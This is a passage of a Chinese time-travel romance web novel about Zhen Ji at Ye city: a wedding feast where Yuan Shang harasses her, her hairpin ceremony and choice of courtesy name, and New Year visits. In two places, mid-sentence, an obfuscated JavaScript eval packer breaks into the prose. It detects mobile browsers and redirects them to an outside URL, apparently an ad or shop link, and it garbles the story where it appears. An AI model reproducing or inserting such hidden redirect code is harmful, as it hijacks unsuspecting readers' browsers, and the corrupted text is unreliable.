季蘅算了算日子,九月的时候,听闻曹操亲率大军讨伐吕布,想必不久就能攻陷下邳,擒杀吕布于白门楼了。 外头的风刮得有些大,她立在随墙门前,等待姗姗来迟的二嫂,丫鬟正帮忙系紧斗篷的扣,一旁伏辕的马儿悠闲打着响鼻。 这样恬静平常的日子,理应珍惜,对自己而言,就像枝桠上所剩无几的枯叶,在冷风中摇摇欲坠,即将等来一个萧索枯寂的严冬。 与此同时,她们即将前往的高府,却显得天差地别,是连着向外的半条街,红红艳艳堆满了喜庆,人人皆挂着欢欣的笑。 陈留高氏颇具声望,与汝南袁家素有姻亲,譬如邺侯袁绍的堂姐、太傅袁隗之女敏成夫人当年就嫁给了蜀郡太守高躬,两人育有一子高旰,表字元才,现今正在袁绍帐下效力,任并州刺史,颇得势;而此刻的新郎官高柔,是要唤高躬一声堂伯,唤高旰一声堂兄。 高柔的双亲皆丧,今日完婚,便特意请了那位敏成伯母坐镇高堂之位。 “虽说辛大娘子与你交好,可那里到底是高家,你当知趣,若是遇上什么尊长前辈,合该待人恭顺有礼。”马车上,薛婉反复嘱咐,“即便真的有所不悦,也莫要直接甩脸子,低低头,扯扯笑脸,很快就过去了。” 张老夫人年迈,二嫂邓端嫠居且多病,邺城里各大家族若有什么庆吊宴席,都会心照不宣地给执掌中馈的三夫人薛婉递帖子。又因是辛大娘子成婚,季蘅也难得肯赏脸前往。 她没想到自己在薛婉心目中竟如此大逆不道,这种重要日子,还能给好友惹事不成,无奈道:“嫂嫂放心吧,善印大喜之日,我万万不敢造次。” “有顾虑就好,嫂嫂聊且将心稍放下,待会儿见到袁家公子,你可要劳记方才答应的话。” “是,自然要礼尚往来的。那万一他们待我无礼呢?” 薛婉冷嗤一声,当是玩笑话,在她心里,那袁家乃累世三公的高胄,教出的孩子也该是知书达礼之人。 “你倒会瞎想。行啊,若是当着宾客面无礼,你只管找来,嫂嫂给你做主;若是私下无礼嘛,你就拿出在家作威福的狠劲儿,咬烂人家的脸我也不拦着。”她拿手托住季蘅的下巴,真当看小狗的牙口一般。季蘅微微躲了一下,也笑了。 昏礼,顾名思义在昏时拜堂礼成。天还没黑,姑嫂俩到得算早,拜见过敏成夫人后,便与其他受邀的宾客女眷坐在偏厅过话。 薛婉和施大嫂说得热烈,季蘅倒也不觉无聊,托着腮,一边品尝各式果脯,一边不经意听着各位嫂嫂漫谈。 无非谁家夫人气病在床,缺席了今天的喜筵,是因丈夫偷养外室;谁家婆媳势如水火,身边的妾仆大打出手,挠花了脸;谁家孩子优越,谁家孩子蠢笨,谁家孩子又看破红尘……各种真假掺半的闲话,便是名字和脸对不上号,也听得津津有味。 这时,一个扎双鬟的可爱小女郎,七八岁的模样,忽然凑到了季蘅身边,歪头打量她。 季蘅也发现了,奇怪了一下,见女孩模样乖巧,不吵不闹的,便笑着拿了块蜜饯递过去,温柔地问:“要不要尝一个?还挺甜的。” 未料对方没接,也不做声,就只盯着自己,眼睛亮亮的,含着略显腼腆的笑意。 “你究竟看什么呢,”季蘅疑惑地摸了摸的脸颊,“哪弄脏了吗?” “姐姐生得真好看,像梦里彩云间跳舞的神女。”她竟自来熟地贴住季蘅的胳膊,并把小脸埋过去,耸了耸鼻子,嗅香味。 “这丫头喜欢你,看着倒有缘。”一旁的施氏笑道,“啊,这是我家堂姊妹,佐治的长女,名唤宪英。诶,宪娘,怎么又丢下阿敞一个人就过来了,你可是当女兄的人。” 辛宪英这才抬起头,不屑道:“敞弟自有他的乳母看顾,哪需小小年纪的我操心呀!” 闻此,她们都笑了。 “伶牙俐齿,跟个小大人似的。”薛婉说,“怪道与五娘投缘。” 宪英十分得意,然后拉起季蘅的手:“漂亮阿姐陪我出去玩吧,这里无聊得紧。” 季蘅倒是无可无不可,便看向两位妇人,征询她们的意见。薛婉左右瞧了瞧,估摸着时间还早,于是漫应:“去吧,别跑太远了。” 这偏厅后面有个小花园,宪英对花花草草不感兴趣,唯独喜欢捉虫子玩。季蘅今天穿的裙子不方便蹲踞,命胆大的细宝帮她捉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14220749|149044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,自己站在游廊边,看着她们玩。 那两个兴奋得很,附近的灌木丛都不放过,无移时,就捉了三只半金蝼蛄。 “前边种的好像是虎阳刺,可别过去了,小心伤着,便是弄破罗裙,给嫂嫂们发现了,也要挨训的。” 好巧不巧,廊庑撺角走出一清俊的黄衫少郎,他偷喝了不少的酒,正无所事事得有些心烦意乱,听到这边甜润带笑的说话声时,提起几分兴致,往那边寻去。 待走近些,他乜斜着眼,意外认出了甄家五娘,而后朝身后的婢仆撇撇手,令她们止步待命。 “甄五娘子?”来人正是袁尚,他莫名涌起股邪火,既喜又怒,快步走去,“真是好久不见了。” 季蘅闻声,下意识感到一阵颤栗,抬眼所见之人,果然让她倍感厌恶,于是往后退了半步,低头行了个福礼。 “娘子不必多礼。”袁尚微眯着眼笑说,从上到下,认真打量了她一遍,似乎比刚才挑拣贺礼还仔细些,“既在喜宴上相逢,我们便是有缘,也不知何时能唤你一声嫂嫂。” “请公子自重,莫拿此事揶揄。” “自重?”见四下近处无人,袁尚贴近了些,面无表情地顺着季蘅躲避的目光往向远处,低沉了声音,“他那天居然没碰你?是我阿兄不行,还是你不行?” 耳畔燥热,季蘅有些僵硬地直起背,始作俑者果然就是袁尚,她稍稍撇过头,横眉怒目地一字一句道:“按汉律,强与人奸者,腐以为宫隶臣。①” 袁尚却不屑狞笑:“汉律是个甚么玩意?如今天下动荡,我父乃盘踞四州的大将军,连皇帝小儿都得敬他三分。即便真奸污了你,这邺城姓袁,谁敢帮你证律?谁又听你自白?” “二公子是端方君子,不及你这般无法无天,无赖无耻。” “对喽,就因为我阿兄糊涂喜欢你,才叫你至今有恃无恐,不晓得利害!”袁尚抟香弄粉惯了,瞧她反应,一张玉脸陡然映红,竟变本加厉,略显兴奋地凑在她耳边吹了口气,冷笑低语,“换作是我,哪舍得让这样的美人寂寞孤枕呢,早该撕破你的亵衣,共赴巫山……” 不堪入耳的凌诟,略浓的酒气,还有油幌幌的表情,再漂亮的脸蛋,也显得丑陋至极。 季蘅深感恶寒,几乎遍身冒起一层寒粟子,她沉了沉目光,忍住攥紧巾帕的拳头:“你恐怕醉了。” “是啊,喜酒好喝,自然就贪杯了。谁知这脑子恍惚的时候,能做出什么失礼的事。想必甄娘子定会原谅我的不合礼节。”袁尚忽伸手,欲揩一把对方薄红的腮颊。 幸好季蘅及时躲开,后背僵直,并瞪视他:“若为苦短春宵,错失整个河北,三公子得不偿失。” “什么?我听见了什么诳语?”袁尚笑出声,“真叫人胆寒啊,一个手无缚鸡之力的弱女子也配令我错失天下?你多了不得,仗着有张好面皮,就当自己是那妲己褒姒?” “瓦斧雷鸣,众叛亲离。邺侯若将基业交给无德之人,那么袁氏,必遭殃灾。” “好大的胆子!竟敢口出谬论,咒我袁家!” “公子何必急着跳出来,自认失德?”季蘅冷冷道,“今日是高辛二氏的大喜之宴,冀州世族皆在。损了民女的清誉事小,耽误公子的锦绣前程才事大。” 袁尚一时哑口,憋着团烧得更旺的火,却又无法反驳,半晌,他才忿忿啮齿道:“好啊,可惜了如此漂亮的脸蛋,长着这样一张尖酸刻薄的坏嘴!甄娘子千万小心些,有朝一日别落到我手里,只叫你跪倒身下,将那伶牙俐齿,和着血水都吐出来!” 哪天?大约还得等兄长对此女彻底失去耐性和兴趣的那一天。 反观季蘅,却心渐宁定,对那些话不觉羞耻,甚至感到好笑,还敢谈什么“有朝一日”,左右此人的风光好日子所剩无几了,所谓成王败寇,最后连具全尸也没能落下。 她轻蔑地瞥了袁尚一眼,就像在嫌弃一只臭虫,笼在袍袖的左手偷摸伸出根中指,语息舒缓:“那便拭目以待。” 39.喜筵 良辰吉时,爆竹声不绝,人群顶头是骑红马的高柔,身披玄金婚服,随后紧跟着喜轿和连绵的红木箱子,潮水般一并涌进了府邸。 这场婚筵专门请来襄玉坊最红火的乐师舞伎助兴,宾客们伴着一阵阵喜乐,举杯交箸,好不畅快。 “少将军海量!”席间,袁熙是仅次于新郎官,第二忙碌的。他客气应下一盏又一盏酬酢,人却心猿意马,不时偷瞧对面的季蘅。 真窝囊啊。将这些看在眼里的袁尚暗自啐骂,几乎咬牙切齿地吞咽酒水。铁青的脸色甚至让人不太敢接近谀媚。 天底下貌美的女子何其多,二哥却只对这一个脾性谲戾的念念不忘,再卑微退让下去,活该被甄氏一直玩弄于股掌之中! 而他俩格外在意的女子,此刻的兴致也不高。季蘅被早前的冒犯弄得有些食不知味,盯着汤碗里煮烂的白菜用筷子随意凿了凿,琢磨着以后若真不可避免地嫁给了袁熙,定要极力吹爆枕边风,让他支持大哥继嗣匡汉还是其次,先得把那个卑鄙无耻的三弟弄得远远的,死不足惜…… “甄姐姐,”宪英不知何时又凑到她身边,乖巧发问,“我以后能常去找你玩吗?” 季蘅虽烦幼孩,但辛家这个丫头诚然可爱,冰雪聪明得有点老成,不肖寻常稚儿那般无理取闹,故而很讨自己喜欢,她便笑脸相对:“好啊,冬日你来我院里烤火涮锅子,吃热了咱们再一块堆雪人。” 闻此,宪英的圆眼睛里盛满了憧憬的光亮,嘴上还有些矜持:“可阿母甚至不许我和弟弟雪天出门,更何况去踩雪了,说是容易感染风寒生病。” “人食五谷,哪有不生病的,怎能因噎废食了。” 闻此,旁边的薛婉忍不住斜睨了一眼。 季蘅想了想,发觉对小孩子这样说确实欠妥,又连忙补充:“不过,你母亲也是担心你们,是因年纪小,病了可就难受了,还不容易痊愈。你也不想喝那些黑黢黢的难闻药汤吧?咱们老老实实在屋里待着,下棋写字,烤橘子吃。” 宪英点头,却有些不舍得:“那春天、夏天、秋天的时候,姐姐再带我出门玩!” “好哇,想想你这个年纪的儿郎,哪个是大门不出,二门不迈的,春日里或流水曲觞弄湿鞋袜,夏日里或山野打猎晒红手臂,秋日里或策马河堤沾得周身芦絮……”季蘅把最后的或在极寒冬夜嚼梅咽雪,硬生咽了回去,感叹,“我们合该如此呀。” “诶,”薛婉被迫开口,瞥了一眼,“胡说八道什么,可别用你那套诡论,教坏小孩子。” “没说什么,是我俩的秘密。”季蘅搪塞完嫂子,回头朝小女郎笑了笑。 宪英也被母亲的丫鬟唤回自己坐席,但临走前,她恋恋不舍地扯捽季蘅的宽袖,往里塞了个玩意,小声说:“送给姐姐,你可要说话算数啊。” 那是只核桃大小的紫檀木雕,做成了栩栩如生的梅鹿模样。 “多谢。” 见季蘅停箸低头,薛婉又往她碗里夹了片炙肉,宽柔问:“今日累不累?” “不累,就是可惜,没能跟善印说上话。” “你倒还念着她。新娘子是最遭罪的,想我当年也是满头沉甸甸的金银珠翠,弄得浑身酸累,哪还有心思找小姊妹说话的。”薛婉是过来人,笑着感叹,“你也别急,等过段日子,走完那些流程,真正礼成了,再去找她玩乐不迟。” 季蘅才不急,她只点头,端起那小杯盏,满足地饮啜了口甜甜的葡萄酿。 不远处,有几个纨绔在行酒令,其中一个滑稽奇特的笑声引得她注意,于是往那边瞟了眼。 却不料正好对上了袁熙的目光。 若放在以前,季蘅肯定装作不经意地避开,可今天她偏直愣愣迎上,表情有些不知滋味,就像看定一样陌生的物件。 气势上稍逊于人,袁熙没坚持多久,果然羞怯又心虚地垂了下眼皮。 调戏这呆子还蛮有趣的,季蘅抿嘴笑了,恍如月下的昙花一现。 瞧见心怡之人在自己面前露出如此笑颜,实在难得可贵,他不由呛了口酒,涨红着脸咳嗽。 “兄长,我有句肺腑之言不知当讲不讲……”袁尚先坐不住了,蠢蠢欲动就要开口抱怨,可惜他二哥仍心神不宁地在那想入非非,压根没注意他在讲话,于是有些迁怒地伸手一搡。 袁熙被吓了一跳,转脸嗔视:“怎么?” 袁尚明显憋着口闷气:“你再盯,还能往人家脸上盯出个洞不成?” 袁熙或不在意,或没听出讽刺的阴阳怪气,只憨笑:“很明显么?我没注意。” “兄长该去檐下吹吹冷风醒酒。” 他却摸了摸自己的脸颊,略疑惑:“我现下又没醉。” 所谓,酒不醉人人自醉,色不迷人人自迷。男人一旦陷入爱河,也就丧失最基本的判断力了。 袁尚无奈冷笑一声,罢了,再多劝也无用,就随二哥高兴算了,说破天不过是个内宅里的女人,碍不着他们的大业。待父帅吞并幽州,整个河北便尽归袁家,这才是他该费心筹谋的事。 大约亥时,酒阑席散,一辆辆马车似蚍蜉般,从高府奔走四方。 甄家的马车刚驶到明雍门,薛婉借口醉酒胸闷,拉着季蘅陪自己一同走走。 季蘅虽困得眼皮发酸,但也看出三嫂似乎有话想说,便没好意思拒绝。 秋冬之交,夜里寒凉,两人裹着皮草大氅,携手走在前头,马车和丫鬟们在后面慢悠悠跟着。 薛婉感慨:“这忽然间,竟想不起第一回见你的场景了。” 季蘅愣了愣,笑答:“从我记事起,大小节宴上总能见到一位娉婷标致的薛姐姐。” 甄薛两家算是故交,四时八节常有走动;那几个年纪相仿的男孩,都曾在汪夫子的私塾念过书。 “但我永远忘不了,你第一回送我东西。” 枝头的月儿银灿灿的,如同今日的新人般圆满,往她们前行的路上散落一片清辉。 薛婉继续说:“多年前尧郎过生辰,甄宅过厅摆了好大一座瑰红珊瑚……” 明明是穿越前发生的事,季蘅大约因为继承了原主的记忆,已经知晓薛婉在说什么了,就像真实经历过一样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14228937|149044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我伫在珊瑚前痴看了许久,谁料你这小丫头忽搣下一小截,说什么瞧见姐姐十分喜欢,就要成人之美。吓得我当时连话都不敢回了,更别提收下。” 季蘅也笑了:“可我硬生塞给了你,后来阿兄发现他的珊瑚被我毁了,差点儿气哭。” “或许就是这一小段珊瑚,叫我最后拿人赔给他了。” “嫂嫂还记得是何时喜欢兄长的?从很小的时候就开始了吗?” “你这突然问起的……”薛婉感喟至深,心里也是滋味万千,“我不知,但那年与你阿兄定了亲,他外出游历一年,我偷偷去城外送他,谁也不知道。远远瞧见,他一袭锦衣白裘,牵着枣红色的马驹,与你们告别。他是那样的好看,鬓发长垂,眉眼如画——哎,离开毋极的第一天,我大概,就开始想他了。” “真好啊。”季蘅发自肺腑地感叹。 薛婉却会错意思了:“不必羡慕我,五娘这样优越,一样会遇上世界最爱自己的男子。” 季蘅笑了笑,只道:“随缘吧,若有,那是福气,没有也不强求。” “就怕你因为自己的偏见,错过一个真心疼爱你的人。” “就算我不爱他,也会可惜吗?” 薛婉忖量了片刻,问:“你讨厌袁二公子?” 季蘅摇头:“他很好,待我也好。是我自己的问题。” “你若信任嫂嫂,不妨将烦恼说与我听听。” “也不是什么要紧的。我只是害怕,怕我还不了同等的爱,更怕我哪天习惯了他对我的好,一旦失去,将痛苦万分。” 薛婉却笑了:“你这傻丫头,真当感情是做买卖,非要秤平斗满?他喜欢多一些,你喜欢少一些,再正常不过。还有,都没在一起呢,提前想什么失去的。当真是杞人忧天了。再说难听些,天有不测风云,有人生老病死,便是神仙也不能永永远远在一起吧。” “嫂嫂是想说,人生苦短,及时行乐?” “反正,我们现在说的是袁熙,过了这村可就没这店了。”她怕又被小妹带偏,忙说,“辛娘子大不了你多少,如今也已毕姻。下个月你行过及笄礼,婚嫁大事再不能拖了。从前惠帝时,那女子年十五以上至三十不嫁的,还需多纳五算,六百钱呢。” 惠帝?难道是刘邦吕雉之子,汉惠帝刘盈? “那得三百多年前了吧?” “重点是什么时候的事吗!” “哦,六百钱,不过咱家出得起,又不缺这点。” “这又是钱的事了?”薛婉有些冒火,真想直接拧疼季蘅的胳膊,就像拧她亲哥一样用力,但最后还是强忍住,语重心长道,“对,咱家不缺,但笄礼就像道坎,一边是你随心所欲的孩子心性,一边该你长大成人、为家族分忧了——反正这类话,我和你兄长说过不少遍,你是个聪明孩子,也都懂。” 闻此,季蘅不由深深叹气,她知晓嫂嫂的“忠言逆耳”,也清楚两人之间的交流隔着长长的鸿沟,懒得反驳。 爱怎么样就怎么样吧,管它山崩地裂、洪水滔天,明早一睁眼还在喘气就成。 40.及笄 距离笄礼还有整一个月的时候,张氏往集芳馆派了名面生的妇人,也没绕弯子,直截了当地示知,是特意请来教五娘礼数的。 妇人学名吕韬,四十左右的年纪,总摆着副不苟言笑的庄严面相,显得气派十足。两只眼睛盯人是直勾勾的,像扑食的鹰鹫。 这位以前在袁府做过女教,称一句吕姑姑,听说还是邺侯夫人当年亲自替待嫁女儿物色的,可见德高望重。 婢仆里除却几乎滴水不漏的缦双,其余几个皆呼受罪,尤其细宝,平日散漫随心惯了,如今吕姑姑一来,她被训得连足踵都不敢沾地,巴不得多领差事,抢着往外跑。 但最难过的,还要当数季蘅本人了,自此,她日日都得待在院里练习那些所谓“妇德、妇言、妇容、妇功”…… 起初因为稀罕好玩,她还算听话配合,后来规矩越来越繁琐,任谁也容易烦躁。哪怕学累了稍躺下会儿,都要被厉声提醒,这样不端庄,那样不矜持,统统失礼! 有时受不住了,她开始犯浑,故意胡扯瞎掰:“姑姑您看,我绣得也忒丑了,若是送给情郎,不会把他吓跑了吧?” 这哪像花,分明绣了团红毛大王八。 吕韬立在一旁,耷拉着眼皮,显得居高临下:“身为大家闺秀,总将那些上不得台面的词句挂在嘴边,成何体统?” “什么词?难道是情郎吗?”季蘅却摇唇鼓舌地反驳,“姑姑这话不讲理啊,都说及笄待嫁,若无情郎,我以后凭空嫁给谁去?” 吕韬眯了眯眼,险些被她噎住,但到底是见多识广的老人了,知道眼下这丫头路数不一般,拿那些教条压她是压不住,便说:“原是老身疏忽了。只不过老夫人吩咐,礼成前,女郎不可随意外出,府门高深,只好辛苦您再多苦相思几日。” 都说伸手不打笑脸人,可季蘅越嬉皮笑脸,越像个心思活泛的小无赖,她甚至敢追问:“姑姑以前有过几位情郎?他们生得好不好看?若相隔两地,也会绣些花样排遣情思么?” 此话一出,吕韬的脸都显绿了,硬生噎了半晌,才缓言:“女郎今日是存心要找老身的毛病了?” 季蘅扯着假笑摇头:“听闻姑姑资历深,是侯府出来的师氏,我岂能不敬?您的教诲,尽当唯命是听,不敢不从。” 俏皮话谁都会说,心底的不痛快却难消弭,真等吕韬傍晚去到张氏处答话,她就会抓住献茶水的丫鬟,嗟叹:随便来个人带我走,救大命! 但难归难,闹归闹,轮番下来,这些日子并非全无收获,就说这女工,已经能绣出个样子轮廓了,不知不觉中,她的心也被迫静了许多。 有回,吕韬故意考她:“可知为何让娘子研读《列女传》?” 季蘅不假思索,随口道:“书中女子皆贤,姑姑是要我习其懿德贞恪、纯孝淑善。” 吕韬挑眉:“孽嬖传里的夏桀妺喜、殷纣妲己、周幽褒姒,她们也贤?” “嗯。” “什么?” “我是说——”季蘅亟认怂,撇撇嘴,“鉴往知来,以为己诫。” 吕韬这才略称意,接着问:“古来贤妃贞妇之中,娘子最以谁为楷范?” “武帝的卫皇后。” “为何?” 季蘅答:“生男无喜,生女无怒,独不见卫子夫霸天下。①” “思后起于微寒,志比鲲鹏,入宫闱,育皇嗣,终至母仪天下,‘嘉夫德若斯②’。”吕韬颔首赞许,却又话锋一转,幽幽道,“可惜,未得善终。” “巫蛊之祸,卫后血性,将玺绶交予戾太子,调兵以抗奸佞,虽败,慨然赴死。”这正是季蘅钦佩之处,她的目光似乎变得坚定,“宁为玉碎,不为瓦全。这份魄力,我很是叹服。” 半晌,吕韬叹气:“可敬之崇之,娘子切莫效法。合该学学那班婕妤,得势时,不忘却辇之德,失意时,退居长信宫自保。可谓,安分守己,进退有度。” “是,弥儿谨遵姑姑教诲。” 从季蘅的语气里,倒听不出她是真的铭记于心,还是单单为了躲避絮聒而随口敷衍。 天气越来越冷,接近腊月时,邺城终于迎来了今年第一场大雪。 夜里下得又急又密,晨起后,已是白茫茫一片,几个粗使小仆忙着洒扫。 这天,薛婉打扮得像串茂盛的紫藤萝,裹在藕合色斗篷里,过来看望潜心砥砺情操的季蘅。 吕韬领着俩小的,兀立在檐下迎接,瞧见人影了,忙颔首裣衽。 薛婉一边走进屋内,一边熟络地搭话:“如今多亏了您悉心栽培,五娘近来长进不少。若放在从前,这会子怕是还没起。” 而现下,季蘅挺直了背,正坐在窗边描山茶花。 “……屋里的地暖还算受用,缦双,炭子夜里记得换得勤些,五娘的手脚总容易冰凉。” 闻声,她忙停笔,回首笑望:“阿嫂怎么过来了?” 薛婉近来忙于年关的应酬,张罗筹备那些衣食祭品,也有好一阵子没见小妹了,她揣着个手炉,笑呵呵挨火盆坐下:“找个闲隙过来看看你。” 等引棠递来一个陶盒,放至两人面前,她指了指:“刚出炉的如意糕,应当还热着,想你最爱吃了,来时特意给你带了些。” “多谢阿嫂记挂。今日早膳进得早,我正好饿了。”季蘅笑着起身,去到香扆后盥手。 这时,吕韬接过婢子端来的热茶,亲自奉上。薛婉忙道谢接过,抿了几口,又瞥见那画了一大半的图,朗声问:“笔拿得这样久了,手冷不冷啊?” “不冷。就是最近都没法出门,我又念着南坞满山的茶花,只能随便画画,聊以慰藉。” 薛婉听出季蘅的话外音,调笑道:“你同我抱怨也没用,我只是个过话的。” 说着,她从袖子里取出一捆小小的简牍,轻轻搁下。 等季蘅回来了,才解释:“喏,这是给你准备的字,你阿兄可琢磨了好几晚。待会儿吃完糕点,再看看如何,挑一挑。” 正如男子二十加冠,古时女子满了十五岁,一般就得绾发及笄,赐字许嫁了。 季蘅不由想起前年甄尧的冠礼,那场面好生隆重啊,尤其记得主持的大宾,是乡党德高望重的夫子,留着长长的白胡子,一派道骨仙风,就像水墨画里的老神仙。 她咬下口香喷喷的糕点,只顾囫囵点头。 听薛婉继续道:“是尧郎的意思,几个姐姐嫁得早,取的字都没什么章法,但小妹你的,想着就按男丁这边的长幼次序。” 大哥甄豫字伯欢,二哥甄俨字仲谨,三哥甄尧字叔崖。 轮到她就该是—— 季蘅心里其实没什么好期待的。 文昭皇后甄氏虽在民间戏说里颇有名气,但其真实的名与字却未能留于史书,实属遗憾,或许比起花边轶事,名字究竟叫什么,对看官来说,就显得不那么重 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“日升月恒,我亦心生向往,然普天之下,几人可为日月?草木枯荣,犹红颜易逝,何必哀哉。”季蘅似笑非笑,“自古文士皆爱以香草自喻,赞其坚贞品格,我愿效仿先哲,勉力修德,砥砺心志。” 薛婉不免追问:“那梅兰竹菊,不比挂佩于身的杜若蘅芜有气节?” 季蘅险些语塞,竭词以陈:“四君子好归好,可弥儿自知莫能及也。”她顿了顿,“披石兰兮带杜衡,拆芳馨兮遗所思④。三嫂不是一直盼着我……相思吗?” 闻此,吕韬没忍住,用劲咳了几声。 薛婉有些心虚地回望了她一眼,而后叹气道:“你这张嘴呀,惯会捡些了不得的话讲!罢了,总归是你自个儿的字,既然喜欢,我回去跟你兄长商量商量,看能不能换成那个‘蘅’字。” “多谢三嫂了,兄长肯定听您的话。” 庄子有云:人生天地之间,若白驹之过隙,忽然而已。 从现代穿越到这里,转眼已过五载。这些年,轻飘飘的,宛若一梦华胥。直至今日“季蘅”这个名字的意外出现,才让她第一次感受到内心的踏实,就像虚浮的空壳落了地,冥冥之中,她这丛野草不知何时已经深深扎进淤泥里,生出了固土汲水的根。 原来,她可以是曾经那个自由烂漫、无拘无束的现代人季蘅,也可以是当下这个沦为池鱼笼鸟、但嬉笑怒骂的甄五娘季蘅。 带着这份迥殊的心情,她等来了十二月十五日的及笄礼。 一切似乎都很圆满。 袁熙自然也前来观礼了,想着上次季蘅说喜欢鹤,这次备的贺礼便是投其所好的一条绣银鹤月白蜀锦春衫。 如此,虽值隆冬,却已开始期待日头渐渐变暖了。 他站在人群中,瞧见堂前及笄聆训的美人,身穿簇新的水红暗花海棠纹曲裾,腰间紧紧勒着攒珠金带,挽了个堕马髻,正微微低下头,一对红宝石耳坠不安分地摇曳。 看着邺城最有名望的吕女史替她别上一支鎏金云凤纹簪子。 忽想起了一句应景的——何彼襛矣,华如桃李⑤。 大约从这时起,袁熙下定了决心,等父帅得胜而归,他定要亲手猎得一只大鸿雁,送到甄府提亲。 季蘅,甄季蘅…… 他记住了她的字,很动听。 41.过年 笄礼结束后,吕韬向张氏传达了辞意,开春就要远赴青州去给泰山羊家当女史了,于甄家,她也算功成身退。 集芳馆的各位皆松了口气,但高兴之余,隐隐还有些不舍,毕竟朝夕相处近两个月,难免会生出感情,无论深浅。 季蘅待人一向情礼兼到,想着正值年关,交际花费大,于是在吕姑姑最后一日过来正式辞别时,准备了个厚重的荷包。 “这段时日,辛苦您费神教引。” “女郎言重了。” 吕韬惶恐接下,却盯着那桃红荷包上莫名其妙的墨绿图案好一会儿。 绣工依然粗糙,但好在已经能分辨出是树木。 见对方破天荒露出了笑意,季蘅有些心虚地解释:“这是楷树。我抽空偷偷绣的,可能没那么好看,但也不算难看吧。” 跟她之前的红毛龟比,确实说不上难看,就是显得太突兀、奇怪,哪见过有人往荷包上绣出整棵树的。 “图必有意,意必吉祥。”如今不再身为教引姑姑的吕韬反问,“老身最后再考考您,它占了福禄寿喜财哪几样?” 季蘅却正经答:“古有子贡植楷,楷树乃尊师重道的象征。您教导过我,无论一年、一月,哪怕仅一日,也是我的师长。唯以此绣,稍表敬意。” 闻此,吕韬微愣了愣,瞧着季蘅那张诚挚美丽的脸,竟暗自有些鼻头泛酸。哪怕只是客套的奉承话,也叫人很受用。 “女郎馈赠,老身一时赶不及预备回礼,实在惭怍。” “那么,还请姑姑临走前,送我一句祝辞或谶言吧。您言必有中,包管灵验。” 吕韬思忖片刻,平静笑着:“原想祝女郎尔后得偿所愿,可生路坎坷似乎常势,万事顺意确实太难,”她顿了顿,“只愿你能真正做到——择善而行,问心无愧。” 她的离开,让集芳馆上下都松了口气,可忽然之间,少了这么个人,还是有些念想的。 几天后,细宝才难为情地表露心意:“其实姑姑她人挺好的,虽然看着严厉,有时体谅我们辛苦,也会睁一只眼闭一只眼。” “以后这种话,该早早当面说出,等人都走了再提,对方又听不见,岂不惋惜?” “嘻,奴婢的脸皮素来比较薄。” “你还薄?”季蘅停下盘珠串的动作,回头笑睨了细宝一眼,似乎不太得劲儿,还伸手刮了下她的脸颊,“都快赶上红枭擀的馄饨皮了。” 正巧,红枭抱着个拜匣,将宾客贺笄礼的礼单送来了,听见她们嬉闹,不由问:“娘子原来是想念奴婢的手艺了?” “各人有各人的长处,我可从不做强人所难的事。”季蘅接过礼单,仔细看了一遍,又说,“奇了,金银珠宝也都寻常,倒有不少送笔墨纸砚的,不知道的还以为该我举茂才了。” 红枭说:“不奇怪。在外头,他们都夸您是个堪比卓文君、曹大家的才女。” 季蘅笑了笑:“我有什么才,便是再多才,那也只这一双手,你们瞧,审家送的亲制凤凰兼毫五箱……我便是写到沧海桑田也用不完啊!” 细宝转溜着她的圆眼睛,建议道:“要不我帮您偷拿去集市上卖了吧?又或者转道手,拜托给丹沛她们?” 这种贺礼可不好放在市场上流通售卖,季蘅说:“红枭,那些兼毫我留两箱,剩余的,一箱给兄长,一箱给阿湛,还有一箱,就送给孟觉苦吧。” “诺。” 细宝想了想,插嘴问:“要不等雪小些,咱们去瞧瞧孟家侄儿?” “好像是有阵子没见他了,怪念想的。”季蘅把目光投向银装素裹的窗外,笑了笑。 瑞雪兆丰年,是个好兆头。 孟觉苦最近把书斋喝得全是药味,大约苦中作乐,甄尧捏着鼻子为其赐名虎仗斋。 “天底下哪有这样的好事,明明先前是我过生辰,今日却见我上赶着给你送礼了。” 小仆是早晨的时候就把凤凰兼毫送到书斋的,季蘅则慢悠悠喝完半碗葵菜粥,盯着丫鬟们将桃符挂好,才踱着懒散的步子过来串门儿。 过年嘛,她喜欢穿戴亮眼的颜色,就说今日这身银狐滚边石榴花裙,正配了白玉嵌红珊瑚珠步摇和一对系有坠珠的长流苏耳珰。 孟觉苦终朝将自己关在这里,怕是快读完所有藏书了。 弃武从文的他轻哼了声气:“你怎知我没预备贺礼?” “哦?” “正好,瞧你今日的脖颈空落落的,”他佯作不动声色,从架子上拿出一样锦盒,“早就预备下了,只怕你嫌弃不愿收。” “你这话可就伤了我了,难不成在你心里,我竟是见钱眼开、嫌贫爱富之人?”季蘅戏谑,“旁人送的奇珍异宝,我连眼皮都不眨一下,可你不一样啊,便拔根野鸭毛送我,也是极好的。” 孟觉苦却眯眼皱了皱眉:“若非你的嘴角扬得那么高,我还肯信了三分方才的胡话。” 季蘅打了个抿笑,收敛起过剩的表演欲,她揭开礼盒,发现里面是个鱼戏莲花金璎珞,光看就觉着价格不菲,不禁感叹:“好漂亮啊,你哪来的钱?不会上次回老家其实是去打秋风了吧?” “我赚来的。”孟觉苦说,“谢容允时不时会叨教一些细琐问题。他是老练的商贾,凡事有利可图,我便学他雁过拔毛。一来二去攒得也多了。” “卖谍报呀?” “没那么高档,不过是某些人的脾性、喜好和忌讳,我把知道的都说了,倒也无伤大雅。” 